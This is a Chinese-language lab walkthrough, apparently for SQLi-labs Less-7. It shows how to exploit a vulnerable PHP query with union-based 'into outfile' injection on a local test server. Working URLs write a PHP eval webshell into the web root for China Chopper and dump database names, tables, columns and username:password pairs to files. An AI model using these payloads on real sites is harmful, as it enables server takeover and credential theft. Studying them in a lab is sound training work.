本關的標題是dump into outfile,意思是本關我們利用文件導入的方式進行注入。而在Background-3中我們已經學習了如何利用dump into file。
這里首先還是回到源代碼中去。重點放在對id參數的處理和sql語句上,從源代碼中可以看到
$id=$_GET['id']; $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......'; echo "<br>"; echo "</font>"; } else { echo '<font color= "#FFFF00">'; echo 'You have an error in your SQL syntax'; //print_r(mysql_error()); echo "</font>"; }
這里對id參數進行了 '))的處理。
那我們這里利用上述提到的文件導入的方式進行演示:
首先找到WEB目錄的絕對路徑
http://127.0.0.1/sql/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20--+
這里投機取巧了,找了個簡單題Less-2直接注入拿到路徑,方便導出。
http://127.0.0.1/sql/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\uuu.txt" %23
上圖中顯示sql出錯了,但是沒有關系,我們可以在文件中看到uuu.txt已經生成了。
像上述background-3中一樣,我們可以直接將一句話木馬導入進去。
http://127.0.0.1/sql/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\test.php" --+
我們可以在文件中看到一句話木馬已經導入進去了
頁面訪問test.php
此時用中國菜刀等webshell管理工具連接即可
可以進行文件管理、數據庫管理等
比如進入文件管理,可以管理服務器上的所有目錄的文件
其余的不再贅述。
還有另一個思路,可以直接將查詢語句的結果寫入文件中,然后訪問此文件即可。
注意這里的文件不能是一個已經存在的文件
寫入用戶,庫名,版本號
http://127.0.0.1/sql/Less-7/?id=-1')) union select user(),database(),version() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\1.txt" --+
寫入表名
http://127.0.0.1/sql/Less-7/?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\2.txt" --+
寫入字段名,以users表為例
http://127.0.0.1/sql/Less-7/?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\3.txt" --+
寫入users表的內容
http://127.0.0.1/sql/Less-7/?id=-1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "D:\\software\\wamp\\www\\sql\\Less-7\\4.txt" --+
來自:https://www.cnblogs.com/lcamry/p/5763105.html